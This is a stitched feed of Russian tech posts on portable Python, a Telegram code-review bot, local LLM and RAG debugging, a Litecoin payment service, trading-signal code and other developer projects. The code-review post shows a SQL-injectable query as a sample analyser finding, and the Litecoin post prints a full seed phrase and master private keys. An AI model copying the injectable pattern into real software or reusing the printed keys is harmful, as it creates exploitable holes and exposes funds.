./python -m pip --version # Выведет версию pip (например, pip 26.0.1).
Ставим пакеты
Когда pip уже доступен, можно ставить нужные библиотеки:
PS F:\python3.14> ./python -m pip install numpy pandas matplotlib seaborn requests
Или сразу из requirements.txt:
PS F:\python3.14> ./python -m pip install -r requirements.txt
Запускаем проект
Чтобы не помнить длинные пути, удобно сделать run.bat в корне флешки:
@echo off cd /d %~dp0 set PYTHON_HOME=%~dp0python3.14 set PATH=%PYTHON_HOME%;%PATH% %PYTHON_HOME%\python.exe my_project\main.py pause
Плюс такого подхода в том, что он не привязан к букве диска. Сегодня флешка может быть F:, а завтра D: — батник всё равно найдёт себя сам.
Типичная структура
Обычно папка на флешке выглядит так:
F:\ ├── python3.14\ │ ├── python.exe │ ├── python314.dll │ ├── python314._pth │ ├── python314.zip │ └── Lib\site-packages\ ├── my_project\ │ ├── main.py │ └── requirements.txt ├── run.bat
🌲 Открываем регистрацию на Дебаг Кемп
Мы придумали формат, который давно хотели сами: выбираешься из города, два дня в сосновом лесу на Карельском перешейке — маршрут, костёр, мастер-классы по выживанию, нетворкинг без слайдов и питчей. Просто люди, с которыми интересно, и никакого Slack-а.
📅 6–7 июня 2026 (выходные) 👥 Всего 25 мест — маленький формат, это принципиально.
Цена растёт по мере приближения к дате. Оплатить можно частями через сплит → регистрация
Если вы 💎 практик сообщества — скидка 15% применяется при регистрации автоматически. Ещё не практик, но думаете? Сейчас самый разумный момент.
👀 Узнать больше · 📝 Регистрация
Вопросы — в чат, мы там живём.
Голем: как в нём устроен анализ кода
В прошлый раз я рассказал про Голема — кодинг-агента в Telegram. Сейчас хочу показать, что у него под капотом. А именно — как работает анализ кода.
Первая версия была примитивной: весь код летел в LLM, та читала и выдавала вердикт. Работало паршиво. LLM галлюцинировала про «обрезанные функции», жрала токены как не в себя, а если проект был больше пары файлов — просто захлёбывалась.
Нужно было что-то менять.
Гибридный анализ: четыре утилиты вместо одной LLM
Теперь перед тем, как отдать код модели, его прогоняют четыре статических анализатора:
bandit, ruff, semgrep, pip_audit = await asyncio.gather( run_bandit(project_dir), # безопасность run_ruff(project_dir), # стиль и баги run_semgrep(project_dir), # глубокий анализ run_pip_audit(project_dir) # зависимости )
Каждая утилита отвечает за свою область:
Bandit ищет уязвимости безопасности: SQL-инъекции, использование eval(), хардкод паролей.
Ruff проверяет стиль и очевидные ошибки: неиспользуемые импорты, синтаксис, голые except.
Semgrep находит сложные паттерны: XSS, утечки данных, опасную десериализацию.
pip-audit сверяет зависимости с базой CVE и сообщает о дырявых пакетах.
Все четыре запускаются параллельно через asyncio.gather. На проекте среднего размера это занимает 10-15 секунд вместо 40-50 при последовательном запуске.
LLM получает только проблемные строки
Раньше модель получала первые 1000 символов из каждого файла. Это приводило к двум проблемам: дикий перерасход токенов и галлюцинации. LLM видела обрывок функции и думала, что код незавершённый.
Теперь всё иначе. Анализаторы возвращают конкретные проблемные строки, и модель получает только их с контекстом в 3-4 строки вокруг:
# main.py:42 — Bandit HIGH query = f"SELECT * FROM users WHERE id = {user_input}" # SQL-инъекция
Результат:
Расход токенов сократился в 10 раз.
Галлюцинации про «незавершённый код» исчезли полностью.
Анализ работает одинаково быстро на проекте из 10 файлов и из 500.
Асинхронный режим
ZIP-архивы и GitHub-репозитории анализируются в фоне. Пользователь отправляет файл и сразу получает ответ «анализ запущен», а результат приходит отдельным сообщением через минуту-две. Бот не висит, можно продолжать с ним работать.
asyncio.create_task( _analyze_directory_async(context, temp_dir, source, llm, user_id) ) await update.message.reply_text("🔍 Анализ запущен в фоне")
Что дальше
Сейчас Голем умеет анализировать только Python-проекты. В ближайших планах:
Поддержка JavaScript/TypeScript (ESLint + npm audit)
Поддержка Go (golangci-lint + govulncheck)
Поддержка Rust (clipp +cargo-audit )
Также хочу добавить команду /fix — автоматическое исправление проблем, которые находит Ruff. Часть ошибок можно починить без участия человека, и Голем будет делать это сам.
Попробовать
Бот живёт в Telegram: @Golem666bot
Там же можно посмотреть другие проекты и следить за разработкой: @system_develope
Как отключить reasoning у локального DeepSeek-R1 и не сойти с ума
Третий пост из серии про грабли локальных LLM. Первый — про микрочанки, отравляющие RAG. Второй — про embedding модель, которая не знает русский. Сейчас — про reasoning, который жрёт ресурсы и не выключается.
Проблема
DeepSeek-R1-Distill-Qwen-32B — reasoning модель. На каждый запрос она сначала «думает» в блоке <think>...</think>, потом отвечает. Выглядит так:
<think> Хорошо, мне нужно помочь пользователю распределить задачи для проекта создания цифрового двойника для молочной фермы. Я новичок в этом, поэтому постараюсь разобраться шаг за шагом. Сначала, мне нужно понять, что такое цифровой двойник... </think> Разработка цифрового двойника для молочной фермы — это сложный проект...
Блок <think> может быть длиннее самого ответа. Это токены, это время, это VRAM. Для задач где рассуждения не нужны — чистый оверхед.
Наивное решение — не работает
Первая идея: убрать <think> из ответа регуляркой постфактум.
response_text = re.sub(r'<think>.*?</think>', '', response_text, flags=re.DOTALL).strip()
Проблема: модель всё равно генерирует рассуждения. Вы просто прячете их от пользователя, но GPU уже потратил время и токены.
Решение от сообщества
Пустой блок <think>\n\n</think> в конце промпта. Модель видит, что фаза рассуждений уже «завершена», и сразу переходит к ответу.
text = tokenizer.apply_chat_template(messages, tokenize=False, add_generation_prompt=True) text = text + "<think>\n\n</think>\n\n"
Попробовал — не работает. Reasoning остаётся.
Ловушка с токенизатором
Смотрю в лог что реально уходит модели:
...ть задачи?<｜Assistant｜><think><think> </think>
Два <think>. Токенизатор DeepSeek при add_generation_prompt=True уже добавляет <think> в конец промпта автоматически. Мой код добавляет второй. Модель видит незакрытый первый тег и начинает думать.
Причём <｜Assistant｜> — это не обычные символы |, а полноширинные юникодные ｜. Специальные токены DeepSeek. Если искать обычный | в строке — не найдёте.
Правильное решение
Проверять, что уже есть в промпте, и действовать по ситуации:
def prepare_prompt_no_thinking(messages, tokenizer): text = tokenizer.apply_chat_template( messages, tokenize=False, add_generation_prompt=True ) if "<think>\n\n</think>" in text: pass # Уже закрыт elif "<think>" in text and "</think>" not in text: text = text + "\n\n</think>\n\n" # Закрываем открытый else: text = text + "<think>\n\n</think>\n\n" # Добавляем пустой return text
Три ветки — потому что разные версии токенизатора ведут себя по-разному. Кто-то добавляет <think>, кто-то нет.
Результат
Без тегов:
Хорошо, мне нужно помочь пользователю распределить задачи для проекта создания цифрового двойника для молочной фермы. Я новичок в этом, поэтому постараюсь разобраться шаг за шагом...
С правильными тегами:
Разработка цифрового двойника для молочной фермы — это сложный проект, который требует участия специалистов из разных областей. Вот примерное распределение задач:
Модель сразу отвечает по делу, без вступительных рассуждений. Экономия токенов и времени — в зависимости от запроса от 30% до 60%.
Вывод
Если используете DeepSeek-R1-Distill локально и reasoning вам не нужен — не режьте его регуляркой постфактум. Закройте <think> тег до генерации. Но обязательно проверяйте, что токенизатор уже добавил — иначе получите дубль и потратите час на дебаг того, что должно было занять минуту.
Идеальная база знаний, а RAG возвращает мусор — проблема не там, где кажется
Продолжение предыдущего поста про микрочанки, где 3 мусорных документа отравили весь RAG. Тогда проблема была в данных. Сейчас — данные идеальные, а поиск всё равно не работает.
Контекст
Строю локальную мультиагентную систему. Собрал базу знаний: 85 архитектурных блоков, 160 чанков в ChromaDB, реальный опыт — не синтетика. Embedding модель — стандартная all-MiniLM-L6-v2. Документы на русском с вкраплениями английских терминов (DPO, LoRA, VRAM — как у всех).
Симптом
Спрашиваю: "DPO патч для OOM" — в базе есть целый блок про это. RAG возвращает документ про права доступа к Project Context. Вообще мимо.
Спрашиваю: "positive feedback loop" — в базе есть блок №57 ровно с таким названием. RAG его не находит, dist=0.746.
Диагностика
Подозрение — embedding модель не понимает русский текст. Проверяю: один и тот же смысл, три формулировки.
queries = [ ("positive feedback loop", "английский"), ("петля положительной обратной связи", "русский"), ("цикл доверие данные результат", "русский контекст"), ] for q, lang in queries: results = col.query(query_texts=[q], n_results=1, include=["documents", "distances"]) dist = results['distances'][0][0] print(f"[{lang}] dist={dist:.3f} | '{q}'")
[английский] dist=0.746 | 'positive feedback loop' [русский] dist=0.566 | 'петля положительной обратной связи' [русский контекст] dist=0.504 | 'цикл доверие данные результат'
Один смысл — разница в полтора раза. При этом документы в базе на русском. Английский запрос к русским документам — модель не может их сопоставить.
Почему так
all-MiniLM-L6-v2 обучалась на английских текстах. Она превращает текст в вектор из 384 чисел. Для английского — вектор осмысленный, семантически правильный. Для русского — видит буквы, но не понимает смысл. Вектор получается случайный.
Это как нанять переводчика, который знает только английский, и попросить его искать по русской библиотеке.
А может перевести всё на английский?
Первая мысль — перевести все документы на английский, запросы тоже переводить на лету, а результат обратно на русский. Английские embedding модели объективно лучше отточены, больше данных, больше бенчмарков.
Но для локальной системы с русскими документами это плохой вариант. Технические термины с контекстом теряются при переводе. Появляется двойная задержка — перевод запроса туда, результата обратно. Нужен ещё один сервис (переводчик), а задача — держать всё локально. И главное — ошибки накапливаются: плохой перевод → плохой вектор → плохой результат.
Для чисто английских доков — да, держите всё на английском. Но когда документы изначально на русском с кучей специфики — мультиязычная модель проще. Меньше движущихся частей.
Решение
Заменил all-MiniLM-L6-v2 на paraphrase-multilingual-MiniLM-L12-v2. Модель обучена на 50+ языках, включая русский. Понимает смешанный текст типа “DPO обучение на LoRA адаптере” — то, что в локальных ML-проектах встречается на каждом шагу.
Пересоздал все коллекции с новой моделью. Результат:
# Было (all-MiniLM-L6-v2): # 'positive feedback loop' → dist=0.746, нашёл мусор # Стало (multilingual): # 'positive feedback loop' → dist=0.35, нашёл именно блок про Feedback Loop
Поиск заработал сразу. На все запросы — и русские, и английские, и смешанные.
Вывод
Если строите RAG на русском (или любом не-английском) — не берите all-MiniLM-L6-v2 по дефолту. Она стоит первой в каждом туториале, но для нелатинских языков это ловушка. Данные могут быть идеальными, чанкинг правильным, а поиск будет возвращать мусор — потому что “переводчик” не знает ваш язык.
Замена embedding модели на мультиязычную — одна строчка кода и пересоздание коллекций. Пять минут работы, которые сэкономят дни дебага.
# Было ef = SentenceTransformerEmbeddingFunction(model_name="all-MiniLM-L6-v2") # Стало ef = SentenceTransformerEmbeddingFunction(model_name="paraphrase-multilingual-MiniLM-L12-v2")
3 мусорных документа (1.7%) отравили весь мой RAG
Строю локальную мультиагентную систему с RAG на ChromaDB. В какой-то момент модель начала нести чушь — вставлять в ответы куски маркдауна, генерить мусор вместо нормальных ответов.
Симптом
Спрашиваю: «Новый проект: цифровой двойник нефтеперерабатывающего завода. Как декомпозировать?»
В ответе — рандомные огрызки разметки типа "25*\n*Тип: Инфраструктура и системное администрирование*". Модель явно копировала что-то из контекста.
Копаю
Смотрю что RAG возвращает на этот запрос:
results = rag.query(query_texts=[query], n_results=3) for doc in results['documents'][0]: print(f"[{len(doc)} chars]: {doc[:50]}")
[56 chars]: 25*\n*Тип: Инфраструктура и системное администр... [15 chars]: и реализация*... [11 chars]: ров вместе...
Топ-3 — мусор, а не документы.
Причина
При загрузке маркдаун-файлов в ChromaDB чанкер резал по 800 символов механически — посередине заголовков, посередине предложений. В итоге появились микро-огрызки типа "ров вместе" (11 символов), которые стали отдельными документами.
Почему короткие чанки ломают RAG
Короткий текст → странный эмбеддинг. Вектор ни о чём, без смысла. И именно поэтому он оказывается «близок» к любому запросу случайным образом. Мой 11-символьный огрызок стабильно обгонял нормальные 800-символьные документы в similarity search.
Фикс
Нашёл все документы меньше 100 символов:
all_docs = rag.get(include=["documents"]) short = [(i, doc) for i, doc in enumerate(all_docs['documents']) if len(doc) < 100] print(f"Мусор: {len(short)}") # 3
Удалил:
ids_to_delete = [all_docs['ids'][i] for i, _ in short] rag.delete(ids=ids_to_delete) # Было: 176 docs → Стало: 173 docs
Галлюцинации прекратились сразу.
Вывод
Фильтруйте чанки по минимальной длине до загрузки в векторную БД:
MIN_CHUNK_LENGTH = 100 chunks = [c for c in chunks if len(c) >= MIN_CHUNK_LENGTH]
3 документа из 176 — это 1.7%. Процент не имеет значения. Если у мусора странный вектор — он всплывёт. Один плохой документ может отравить весь ваш RAG.
Как я научил Telegram-бота помнить то, что LLM положено забывать
LLM по своей природе — без памяти. Каждый новый диалог с ChatGPT, Claude или DeepSeek начинается с чистого листа. Разработчики пытаются решать это костылём: запихивают в контекст последние N сообщений.
Но это не память. Это дорогое, конечное и очень прожорливое контекстное окно. Хранить всю историю — разоришься на токенах. Учить модель на лету — пока фантастика.
Поэтому я сделал по-другому.
Встречайте: настоящая долговременная память для Golem (В том виде, в каком она нужна кодинг-агенту)
Теперь мой кодинг-агент умеет сохранять только важное — факты о ваших проектах, привычках, договорённостях и запретах. Не всю переписку, а ровно то, что вы сами решите запомнить навсегда.
Как это работает:
/remember текст — Golem сохраняет факт в SQLite
/recall — показывает все ваши заметки
/forget ID — удаляет ненужное
Заметки автоматически подгружаются в начало каждого запроса, работают в любой сессии и переживают перезапуски бота. Никакой магии — просто грамотная архитектура.
Реальные примеры из жизни:
Вы пишете: /remember Я работаю над проектом X на Django + PostgreSQL. Никогда не предлагай MongoDB.
Через неделю спрашиваете: «Как оптимизировать запросы?» — Golem сразу учитывает стек и не несёт чушь про NoSQL.
Или: /remember Голем, не отвечай на вопросы про погоду. Это тупо.
Теперь на «какая погода?» он спокойно посылает вас в Google и не жрёт токены.
Это сильно круче простого увеличения контекста: вы сами решаете, что важно, а что — мусор.
Хотите видеть, как я дальше развиваю память (векторный поиск, автоматическое извлечение фактов и другие смелые эксперименты, которые я обкатываю прямо сейчас)?
→ Подписывайся на основной канал «СИСТЕМА»
Там я показываю внутреннюю кухню разработки Golem, полные архитектурные разборы и то, что обычно не выношу на Хабр.
Где потрогать бота прямо сейчас: https://t.me/Golem666bot
Пробуйте, ломайте, кидайте в комментариях:
Какие факты вы бы хотели, чтобы бот помнил о вас?
Каких ещё фич не хватает идеальному AI-ассистенту?
Жду ваших кейсов и идей — лучшие разберём вместе с Golem.
Написал небольшой микросервис на FastAPI, помогающий взаимодействовать с блокчейном Litecoin для принятия платежей. Сервис напрямую подключается к любой ноде на протоколе ElectrumX.
Список нод можно взять здесь: https://1209k.com/bitcoin-eye/ele.php?chain=ltc
Либо же можно захостить свою ноду, но пока нам будет достаточно удалённой.
Принимая платежи таким способом, мы контролируем "ключи", не зависим от сторонних платежных систем, нам не нужно никому доверять наши средства и отдавать процент от выручки.
Можем взглянуть на исходный код и перейдём к обзору функционала.
https://github.com/CryptoWrapAPI/litecoin-wallet-rpc
Для начала нужно получить свой ключ к блокчейну, проще говоря, сид-фразу.
Но не каждая сид фраза подойдёт, вкратце, нужна сид фраза стандарта BIP39.
Такую сид фразу можно сгенерировать с помощью new_wallet.py
Для этого нам понадобится Python версии 3.12, потому что библиотека bip_utils пока что поддерживает только эту версию.
Mnemonic string: rather nasty bright aisle craft spare blood room village resource special region winter gesture despair slender tiger wall state fashion grass trophy crack monster Master key (bytes): 865fcb279555a25bf50e2e33d37ef68b363b3eb322a68456609526f80be28a7e Master key (extended): zprvAWgYBBk7JR8GkiSjUUwyhei9mSTEMd5ENS9xywYxsf6WLuFvq9eJjE7eFCjw3sT4AreK7cRiBgF4x8CiL5sPUhwZA3rBhFbKD1poA3iWQCg Master key (WIF): T7ZBZxkT8ebmYHyz1vHdG9G4of2UPJm2hVky1x19kX2xtQSKKCu4
Далее для деривации (создания отдельных адресов для принятия платежей) нам понадобится extended мастер-ключ.
Отправляем его вместе с account index и address index на эндпоинт /derive (запустим тест python tests/test_derive.py)
Индексы мы можем представить как координаты адреса по оси X и Y
============================================================ TEST: Address Derivation ============================================================ XPRV: zprvAWgYBBk7JR8GkiSj... Account index: 0 Address index: 0 Status: 200 Response: { "address": "ltc1qt25zdkgj4shgyp4xw770hsjtdph6kn70zz8h06", "account_index": 0, "address_index": 0, "chain": "external" } ✓ Derived address: ltc1qt25zdkgj4shgyp4xw770hsjtdph6kn70zz8h06 ============================================================
Теперь этот адрес кошелька можно отправить клиенту нашего сервиса.
Чтобы проверить, поступил ли платеж, мы можем обратиться к методу get_history
https://electrumx.readthedocs.io/en/latest/protocol-methods.html#blockchain-scripthash-get-history
// В этом примере адрес начинается с tltc1 вместо ltc1 // Потому что это testnet блокчейн :) // Сменить testnet/mainnet можно в .env "tltc1qayq6ppmzztpgy354r45lkp8vjdafnhtf0yhutm": { "transactions": [ { "tx_hash": "6803c0769c89e2cd9bbbda1d1e8715c5b11c1e69f8f9a7d46c1cd6adc2103c6a", "height": 4672171 }, { "tx_hash": "10bdb766e7c8a42e468862a97b10260955fafe7a0fcd219f025b4dd105077e5e", "height": 4672208 } ], "count": 2, "timestamp": "2026-04-10T01:23:37.448442+00:00" }
Мы видим две транзакции, height здесь - это номер блока, в который включена транзакция, если она всё ещё находится в мемпуле (ожидает подтверждения майнерами), то мы увидим -1 или 0.
Частота блоков в Litecoin составляет ~2 минуты. То есть примерно через 2 минуты транзакция будет включена в цепочку блоков.
Узнать детали транзакции можно с помощью эндпоинта /transactions
Там будет подробное описание транзакции, включая все "входы" и "выходы", количество отправленных монет, комиссию сети, заплаченную отправителем и так далее.
На этом у меня всё, спасибо за внимание!
Подключайся ко второму онлайн-митапу MWS для Python-разработчиков 🎙️
На встрече узнаешь нюансы разработки с агентом и сразу сможешь попрактиковаться, а еще — поучаствовать в дискуссии с экспертами о роли ИИ в рабочих процессах.
Будет интересно Python-разработчикам, аналитикам и другим ИТ-специалистам, кто интересуется применением ИИ в разработке.
📅 Когда: 15 апреля (среда) в 15:00 по мск
📍 Где: онлайн
Собери свой OpenClaw за вечер - гайд за 18 шагов
OpenClaw - самый быстрорастущий опенсорс-проект в истории GitHub. 350k звезд за пять месяцев, обогнал React, Linux и все остальное. Персональный AI-ассистент, который живет на твоей машине, работает через WhatsApp/Telegram/Slack/iMessage, выполняет команды в шелле, управляет браузером, отправляет почту, работает по расписанию. Если еще не слышали, советую попробовать.
Мне всегда интересно попробовать собрать что-то своими руками, особенно нравится ковыряться и настраивать ИИ агентов - есть в этом ощущение управления собственными сотрудниками. К чему я это, ловите интересный репозиторий - build-your-own-openclaw.
Что за репозиторий
Это пошаговый туториал из 18 этапов, где ты собираешь свою версию OpenClaw с нуля. Именно послойная сборка - каждый шаг добавляет одну концепцию и содержит работающий код + README с объяснением архитектурных решений. Шанс разобраться как устроен такой популярный бот.
Можно выделить четыре фазы:
Фаза 1 - одиночный агент. Начинаешь с голого чат-лупа. Потом подключаешь инструменты (read/write/bash - вот и основа для уже для большого скоупа задач). Затем навыки через SKILL.md, персистентность сессий, слеш-команды, компактификация истории, веб-инструменты.
Фаза 2 - event-driven архитектура. Агент выходит за пределы CLI. Горячая перезагрузка конфигов, каналы (теперь можно писать агенту с телефона), WebSocket для программного взаимодействия.
Фаза 3 - автономность и мультиагентность. Маршрутизация задач между агентами, cron + heartbeat (агент работает, пока спим или заняты делами), многослойные промпты, dispatch между агентами.
Фаза 4 - продакшн. Контроль конкурентности и долговременная память.
Почему это полезно может быть полезно?
В большинстве гайдов по агентным системам тебе дают либо высокоуровневую схему, либо готовый фреймворк, в который не хочется лезть, разбираться, копаться. Здесь этот шаговый подход позволяет проще въехать, заставить себя изучать и по мере усложнения, все больше и больше втягиваешься. Можно изучить:
Как строится цикл принятия решений.
Как агент выбирает инструменты.
Как компактифицируется контекст, когда история перестает влезать в окно.
Как появляется ощущение «интеллекта» из вполне механических частей.
В какой-то момент ловишь себя на мысли, что уже думаешь как оркестратор, как большой начальник, а не как рядовой пользователь модели. И вот это, пожалуй, самое ценное.
Туториал написан на Python, использует LiteLLM для абстракции провайдеров. Можно пройти за вечер-два, если не застревать на каждом шаге.
Надеюсь тебе понравилось. Лучшая благодарность - это твоя подписка на мой Telegram-канал 😊
Анализ истории сделок на предмет перекоса шортистов/лонгистов
В backtest-kit модуль volume-anomaly используется как источник в графе сигналов - параллельно с GARCH. Если GARCH отвечает на вопрос «достаточно ли ожидаемое движение», то volume-anomaly отвечает на вопрос «является ли прямо сейчас статистически необычным моментом в микроструктуре рынка».
Пример кода
import { sourceNode, outputNode } from '@backtest-kit/graph'; import { predict } from 'volume-anomaly'; import { getCandles } from 'backtest-kit'; const ANOMALY_CONFIDENCE = 0.75; const N_TRAIN = 1200; // обучающее окно — должно быть без аномалий const N_DETECT = 200; // окно детекции const reversalSource = sourceNode( async (symbol) => { // Важно: recent не должен пересекаться с historical const all = await getAggregatedTrades(symbol, N_TRAIN + N_DETECT); const historical = all.slice(0, N_TRAIN); // старые сделки — baseline const recent = all.slice(N_TRAIN); // новые — без overlap return predict(historical, recent, ANOMALY_CONFIDENCE); // { // anomaly: true, // confidence: 0.81, // direction: 'long' | 'short' | 'neutral', // imbalance: 0.61, // } }, ); const entrySignal = outputNode( async ([reversal, ...]) => { if (!reversal.anomaly) return null; if (reversal.direction === 'neutral') return null; const position = reversal.direction; // 'long' | 'short' return { id: randomString(), position, priceTakeProfit: ... priceStopLoss: ... minuteEstimatedTime: 60, }; }, reversalSource, ... );
Ключевые детали
Hawkes Process - кластеризация ордеров
CUSUM- сдвиг buy/sell дисбаланса относительно исторической нормы
BOCPD- смена режима: момент когда распределение дисбаланса само меняется
Как использовать
Классическая проблема DCA - ты усредняешься в падающий нож. Цена идёт против, ты докупаешь, а она продолжает падать. volume-anomaly заточен именно под это: докупать не по расписанию или по сетке уровней, а только когда ордерфлоу показывает разворот агрессии.
Golem хамоватый кодинг агент в Telegram
Представьте: вы кидаете ему .zip с проектом, а он выдаёт разбор по архитектуре, находит говнокод, утечки ключей, отсутствие индексов и сообщает, что вся ваша система — «детский сад на колхозе».
Это и есть Golem 666 — мой Telegram-бот, который анализирует код жёстко, без соплей и политкорректности.
Сейчас он уже умеет:
Пожирать проекты в .zip и анализировать их
Искать баги, уязвимости и архитектурные косяки
Давать конкретные рекомендации по исправлению
Работать в стриминговом режиме (сообщения приходят по мере генерации)
Сам постить отчёты в свой Telegram-канал
Ну и конечно пишет скрипт по запросу
Прямо сейчас я оптимизирую его по расходам и делаю кеш,чтоб не тартить токены юзеров на повторяющие вопросы.
В ближайших планах:
Автоматическое создание репозитория на GitHub
Автодеплой после успешного ревью кода
Если вам тоже иногда хочется, чтобы кто-то жёстко и по делу сказал, то можете пообщаться с Големом.
В своем канале я рассказываю о разработке своих ботов более подробно и без цензуры.))
Кто уже попробовал подобных агентов — поделитесь в комментариях, насколько они у вас живые и наглые. Интересно сравнить.
#python #ai #telegram #coding #golem
О прогнозе нейтрального тренда актива
В backtest-kit GARCH используется как один из источников в графе сигналов. Идея: вход открывается только если GARCH-канал достаточно широк, чтобы TP и SL уместились с запасом над комиссиями.
Например, этим можно законтрить боковик, который был на BTCUSDT в Феврале 2024
5–10 февраля, 73% нейтральных баров
11–16 февраля, 63% нейтральных баров
19–24 февраля, 75% нейтральных баров
26–29 февраля, 69% нейтральных баров
Пример кода
import { sourceNode, outputNode } from '@backtest-kit/graph'; import { predict } from 'garch'; import { getCandles } from 'backtest-kit'; const CANDLES_FOR_GARCH = 300; const GARCH_CONFIDENCE = 0.6827; // ±1σ const garchSource = sourceNode( Cache.fn( async (symbol) => { const candles = await getCandles(symbol, '8h', CANDLES_FOR_GARCH); return predict(candles, '8h', null, GARCH_CONFIDENCE); }, { interval: '8h', key: ([symbol]) => symbol }, ), ); const entrySignal = outputNode( async ([trend, volume]) => { // Пропускаем если модель не сошлась if (!volume.reliable) return null; // Проверяем что до границ канала достаточно места const upperDiff = percentDiff(trend.close, volume.upperPrice); const lowerDiff = percentDiff(trend.close, volume.lowerPrice); if (upperDiff < TAKE_PROFIT_PERCENT) return null; if (lowerDiff < STOP_LOSS_PERCENT) return null; // TP и SL по границам GARCH-канала const tp = trend.position === 'long' ? volume.upperPrice : volume.lowerPrice; const sl = trend.position === 'long' ? volume.lowerPrice : volume.upperPrice; return { position, priceOpen: trend.close, priceTakeProfit: tp, priceStopLoss: sl }; }, trendSource, garchSource, );
GARCH здесь не генерирует направление. Он отвечает только на вопрос «достаточно ли ожидаемое движение». Направление приходит от другого источника (это может быть Pine Script через @backtest-kit/pinets или LLM через @backtest-kit/ollama)
Ключевые детали
Parkinson estimator для per-candle RV: (1/4ln2) · ln(H/L)² — в ~5× эффективнее squared returns
Log-normal bands: P·exp(±z·σ) — не линейное приближение, правильное маппирование в ценовое пространство
reliable: true когда: оптимизатор сошёлся + persistence < 0.999 + Ljung-Box p ≥ 0.05
Оптимизация: multi-start Nelder-Mead, GARCH — 4 рестарта, NoVaS — 7 (11-мерная задача)
932 теста, включая ground-truth тест с синтетическими данными известной волатильности
Краткая версия Интервью Гвидо ван Роуссума с core-разработчиком Python Бреттом Кэнноном:
import textwrap def print_bubble(text: str, name: str, side="left"): wrapped = textwrap.wrap(text, width=45) max_len = max(len(line) for line in wrapped) width = max_len + 2 if side == "left": indent = "" tail = "╲|" bottom = indent + "╰" + "─" * (width - 1) + tail else: indent = " " * 52 tail = "|/" bottom = indent + tail + "─" * (width - 1) + "╯" print(indent + "╭" + "─" * width + "╮") print(indent + name) for line in wrapped: print(indent + "│ " + line.ljust(max_len) + " │") print(bottom) dialog = [ ("left", "Гвидо:", "Как ты нашёл Python?"), ("right", "Бретт:", "Искал язык для ООП в 2000-м, попробовал Python — сразу зашло."), ("left", "Гвидо:", "И что дальше?"), ("right", "Бретт:", "Через Python Cookbook попал в сообщество, потом в python-dev."), ("left", "Гвидо:", "Быстро втянулся?"), ("right", "Бретт:", "Да, начал писать обзоры, отправлять патчи, добавил strptime, стал core-разработчиком в 2003."), ("left", "Гвидо:", "Каким было сообщество тогда?"), ("right", "Бретт:", "Небольшим, всё держалось на энтузиастах."), ("left", "Гвидо:", "А позже?"), ("right", "Бретт:", "Участвовал в переходе на Python 3, развитии стандартной библиотеки и управлении."), ("left", "Гвидо:", "Самый сложный момент?"), ("right", "Бретт:", "Твой уход и кризис управления помогли перейти к другой модели руководства."), ("left", "Гвидо:", "В итоге?"), ("right", "Бретт:", "Случайно попробовал Python и стал ключевым участником проекта."), ] print("Нажимайте ENTER (или пробел) для следующего сообщения.\n") for side, name, text in dialog: input() print_bubble(text, name, side) print("\n Вы прочитали краткую версию. Подробнее читайте на https://habr.com/ru/articles/1017676/ \n")
Всем привет. Начал писать открытую книгу про архитектуру безопасных AI-агентов.
Делаю не обзор фреймворков и не коллекцию «магических демо», а практический инженерный reference: control plane, policy boundaries, tool gateway, memory, observability, evals, approval flows, governance и production-подход к агентным системам.
Уже выложил первые главы и каркас книги - https://agent-axiom.github.io/agent-arch
Репозиторий - https://github.com/agent-axiom/agent-arch
Буду очень рад критике по существу:
где архитектура спорная,
где не хватает важных разделов,
где формулировки слишком сырые,
что стоит добавить из практики эксплуатации и безопасности.
Если тема близка - вливайся: issues, comments, corrections, PRs, ссылки на сильные источники и контрпримеры из реальных production-систем.
Хочется сделать не просто набор заметок, а полезный community-driven reference для тех, кто строит надежных и безопасных AI-агентов.
Как я писал софт для фрагментного анализа ДНК
Всем привет! Меня зовут Александр Дориф, я химик, молекулярный генетик и сисадмин-инфраструктурщик в компании WebHostMost, многие знают меня по нику Father Nurgle.
Итак, на дворе осень 2022 года, я, на тот момент аспирант, разрабатываю способы диагностики болезней экспансии коротких повторов (хорея Хантингтона, синдром ломкой Х хромосомы...) или с изменением количества локусов в геноме (инсерции/делеции, анеуплоидии). Я активно использую капиллярный электрофорез на ABI 3500 Dx и фрагментный анализ с помощью GeneMapper 5. И это стало проблемой. Компов в лабе мало, денег тоже, лицензия GeneMapper одна (а дополнительная стоит больше 10к$), комп с GeneMapper часто занят, софт сам по себе прибит к венде и БД Oracle. А сам я работаю на ноуте, устаревшем ещё в конце нулевых. Да, есть NCBI OSIRIS, но для него нужен Wine, а это лишний слой абстракции, да и интерфейс у него переусложнён на мой взгляд, Fragman не поддерживал импорт файлов с 3500, fatools не развивались и автор не отвечал на сообщения.
Так я решил писать FragalyseQt. Я изначально видел его как кроссплатформенный и свободный софт, поэтому выбрал за основу Python (для него есть много полезного типа BioPython) и Qt для интерфейса. Учитывая то, что у меня не было опыта написания десктопных приложений, несколько дней я изучал мануалы, после чего тёмным вечером 6 октября 2022 выпустил самую первую версию FragalyseQt с номером 0.1 и кодовым именем «Huntington». Это была смотрелка файлов FSA, умеющая селективно скрывать выбранные каналы флуоресценции и экспортировать данные внутреннего анализа (для ABI 3500 и SeqStudio) в CSV.
В версии 0.2 «Friedreich», добавилась возможность независимого от прибора поиска и базового анализа пиков на электрофореграммах, я познакомился со SciPy и табличными возможностями Qt.
Версия 0.3 «DiGeorge» принесла возможность правки базовой линии и тонкой настройки поиска пиков. И... Я упёрся в фундаментальную проблему: определение размера фрагментов на электрофореграммах требовало теории приблизительных вычислений, которую нам в своё время не давали, давая математику по остаточному принципу. Без сайзинга, FragalyseQt будет всего лишь смотрелкой. Я начал ботать матан. Мозги плавились, времени не хватало, к аспирантуре добавились заботы о дочке, но я учил. Здесь же случилось знакомство с реальностью: не каждая декларация «мы поддерживаем формат ABIF» значит «мы поддерживаем ПОЛНУЮ спецификацию ABIF». Также пришлось столкнуться с древними вариантами ABIF, полученными до его стандартизации. Была работа в Okteta, написание парсеров, FragalaseQt стал читать и старый ABIF, и его криминалистическое подмножество — HID.
1 сентября 2024 вышла FragalyseQt 0.4 «Jeffreys» с сайзингом пиков методами степенных сплайнов, взвешенных степенных сплайнов и МНК. README стал подробнее, стремясь к полноценному мануалу. Позже добавил локальный и глобальный методы Саузерна. Софт стал реально аналитическим, с его помощью была опубликована работа на ESHG 2025 ( https://doi.org/10.13140/RG.2.2.14637.81123 ). Потом развитие опять затянулось — задержки ЗП в начале года по 3-4 месяца не способствовали размышлениям о чём-то, кроме выживания. В сентябре я перешёл в WebHostMost и, внезапно, у меня появились адекватные задачи, время и поддержка коллег. Была переработанна структура для соответствия PEP 517, добавлен гибкий интерфейс и экспериментальная поддержка импорта сырых данных российского Нанофор-05 (формат реверсил).
